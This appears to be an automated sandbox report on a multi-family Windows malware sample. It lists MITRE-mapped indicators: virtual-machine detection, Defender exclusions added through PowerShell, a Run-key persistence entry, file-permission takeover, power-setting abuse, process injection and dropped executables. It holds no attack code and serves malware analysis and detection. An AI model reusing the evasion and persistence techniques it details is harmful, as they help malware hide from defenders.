5e00ff30f23c790fc34eea730b8e42b65f66cd97c75149b251f0020b57877dc9

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
106	396	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1300	powershell.exe
4024	powershell.exe
3784	powershell.exe
3592	powershell.exe
4472	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 5 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4132	icacls.exe
1104	icacls.exe
3340	takeown.exe

Executes dropped EXE 9 IoCs

pid	Process
1292	Win-v43.exe
220	Win-v42.exe
3204	svchost.exe
2568	Win-v41.exe
2912	svchost.exe
2668	EbVZaGkC.exe
396	cmd.exe
5472	svchost.exe
4000	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
3340	takeown.exe
4132	icacls.exe
1104	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
10	api64.ipify.org
11	api64.ipify.org
107	api64.ipify.org
108	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4612	powercfg.exe
1392	powercfg.exe
2488	powercfg.exe
1216	powercfg.exe
824	powercfg.exe
4044	powercfg.exe
1196	powercfg.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\System32\Win-v42.exe	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1484 set thread context of 3204	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	149
PID 1484 set thread context of 2912	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	157
PID 1484 set thread context of 396	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	162
PID 1484 set thread context of 5472	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	163

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3280	cmd.exe
4844	cmd.exe
2680	cmd.exe
4564	cmd.exe
2284	cmd.exe
1108	cmd.exe
4992	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3280	cmd.exe
3504	PING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
4844	cmd.exe
2680	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3504	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
4024	powershell.exe
4024	powershell.exe
3784	powershell.exe
3784	powershell.exe
1300	powershell.exe
1300	powershell.exe
1292	Win-v43.exe
1292	Win-v43.exe
220	Win-v42.exe
220	Win-v42.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
3592	powershell.exe
3592	powershell.exe
3592	powershell.exe
620	winlogon.exe
620	winlogon.exe
2568	Win-v41.exe
2568	Win-v41.exe
620	winlogon.exe
620	winlogon.exe
620	winlogon.exe
620	winlogon.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
620	winlogon.exe
620	winlogon.exe
2668	EbVZaGkC.exe
2668	EbVZaGkC.exe
620	winlogon.exe
620	winlogon.exe
2668	EbVZaGkC.exe
2668	EbVZaGkC.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
620	winlogon.exe
620	winlogon.exe
4000	Win-v41.exe
4000	Win-v41.exe
4028	svchost.exe
4028	svchost.exe
620	winlogon.exe
620	winlogon.exe
620	winlogon.exe
620	winlogon.exe
620	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3272	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeTakeOwnershipPrivilege	3340	takeown.exe
Token: SeShutdownPrivilege	4612	powercfg.exe
Token: SeCreatePagefilePrivilege	4612	powercfg.exe
Token: SeShutdownPrivilege	1392	powercfg.exe
Token: SeCreatePagefilePrivilege	1392	powercfg.exe
Token: SeShutdownPrivilege	2488	powercfg.exe
Token: SeCreatePagefilePrivilege	2488	powercfg.exe
Token: SeShutdownPrivilege	1216	powercfg.exe
Token: SeCreatePagefilePrivilege	1216	powercfg.exe
Token: SeShutdownPrivilege	824	powercfg.exe
Token: SeCreatePagefilePrivilege	824	powercfg.exe
Token: SeShutdownPrivilege	4044	powercfg.exe
Token: SeCreatePagefilePrivilege	4044	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	620	winlogon.exe
Token: SeDebugPrivilege	2912	svchost.exe
Token: SeDebugPrivilege	2668	EbVZaGkC.exe
Token: SeAuditPrivilege	2772	svchost.exe
Token: SeLockMemoryPrivilege	396	cmd.exe
Token: SeLockMemoryPrivilege	396	cmd.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	620	winlogon.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeAuditPrivilege	2380	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2144	svchost.exe
Token: SeIncreaseQuotaPrivilege	2144	svchost.exe
Token: SeSecurityPrivilege	2144	svchost.exe
Token: SeTakeOwnershipPrivilege	2144	svchost.exe
Token: SeLoadDriverPrivilege	2144	svchost.exe
Token: SeSystemtimePrivilege	2144	svchost.exe
Token: SeBackupPrivilege	2144	svchost.exe
Token: SeRestorePrivilege	2144	svchost.exe
Token: SeShutdownPrivilege	2144	svchost.exe
Token: SeSystemEnvironmentPrivilege	2144	svchost.exe
Token: SeUndockPrivilege	2144	svchost.exe
Token: SeManageVolumePrivilege	2144	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2144	svchost.exe
Token: SeIncreaseQuotaPrivilege	2144	svchost.exe
Token: SeSecurityPrivilege	2144	svchost.exe
Token: SeTakeOwnershipPrivilege	2144	svchost.exe
Token: SeLoadDriverPrivilege	2144	svchost.exe
Token: SeSystemtimePrivilege	2144	svchost.exe
Token: SeBackupPrivilege	2144	svchost.exe
Token: SeRestorePrivilege	2144	svchost.exe
Token: SeShutdownPrivilege	2144	svchost.exe
Token: SeSystemEnvironmentPrivilege	2144	svchost.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3272	Explorer.EXE
3272	Explorer.EXE
396	cmd.exe

Suspicious use of UnmapMainImage 5 IoCs

pid	Process
2764	svchost.exe
2764	svchost.exe
2764	svchost.exe
2764	svchost.exe
2764	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1484 wrote to memory of 4024	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	85
PID 1484 wrote to memory of 3784	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	87
PID 1484 wrote to memory of 1300	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	89
PID 1484 wrote to memory of 4700	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	91
PID 1484 wrote to memory of 4564	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	93
PID 4564 wrote to memory of 2156	4564	cmd.exe	95
PID 1484 wrote to memory of 2284	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	96
PID 2284 wrote to memory of 3340	2284	cmd.exe	98
PID 1484 wrote to memory of 1108	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	101
PID 1108 wrote to memory of 4132	1108	cmd.exe	103
PID 1484 wrote to memory of 4992	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	107
PID 4992 wrote to memory of 1104	4992	cmd.exe	112
PID 1484 wrote to memory of 4612	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	114
PID 1484 wrote to memory of 1392	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	116
PID 1484 wrote to memory of 2488	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	118
PID 1484 wrote to memory of 1216	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	120
PID 1484 wrote to memory of 824	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	122
PID 1484 wrote to memory of 4044	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	124
PID 1484 wrote to memory of 1196	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	126
PID 1484 wrote to memory of 3280	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	128
PID 3280 wrote to memory of 3504	3280	cmd.exe	130
PID 1484 wrote to memory of 3204	1484	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	149
PID 4844 wrote to memory of 3592	4844	cmd.exe	151
PID 3592 wrote to memory of 620	3592	powershell.exe	5
PID 620 wrote to memory of 684	620	winlogon.exe	7
PID 620 wrote to memory of 876	620	winlogon.exe	11
PID 620 wrote to memory of 1012	620	winlogon.exe	13
PID 620 wrote to memory of 452	620	winlogon.exe	14
PID 620 wrote to memory of 1040	620	winlogon.exe	16
PID 620 wrote to memory of 1164	620	winlogon.exe	18
PID 620 wrote to memory of 1188	620	winlogon.exe	19
PID 620 wrote to memory of 1200	620	winlogon.exe	20
PID 620 wrote to memory of 1208	620	winlogon.exe	21
PID 620 wrote to memory of 1280	620	winlogon.exe	22
PID 620 wrote to memory of 1340	620	winlogon.exe	23
PID 620 wrote to memory of 1412	620	winlogon.exe	24
PID 620 wrote to memory of 1420	620	winlogon.exe	25
PID 620 wrote to memory of 1428	620	winlogon.exe	26
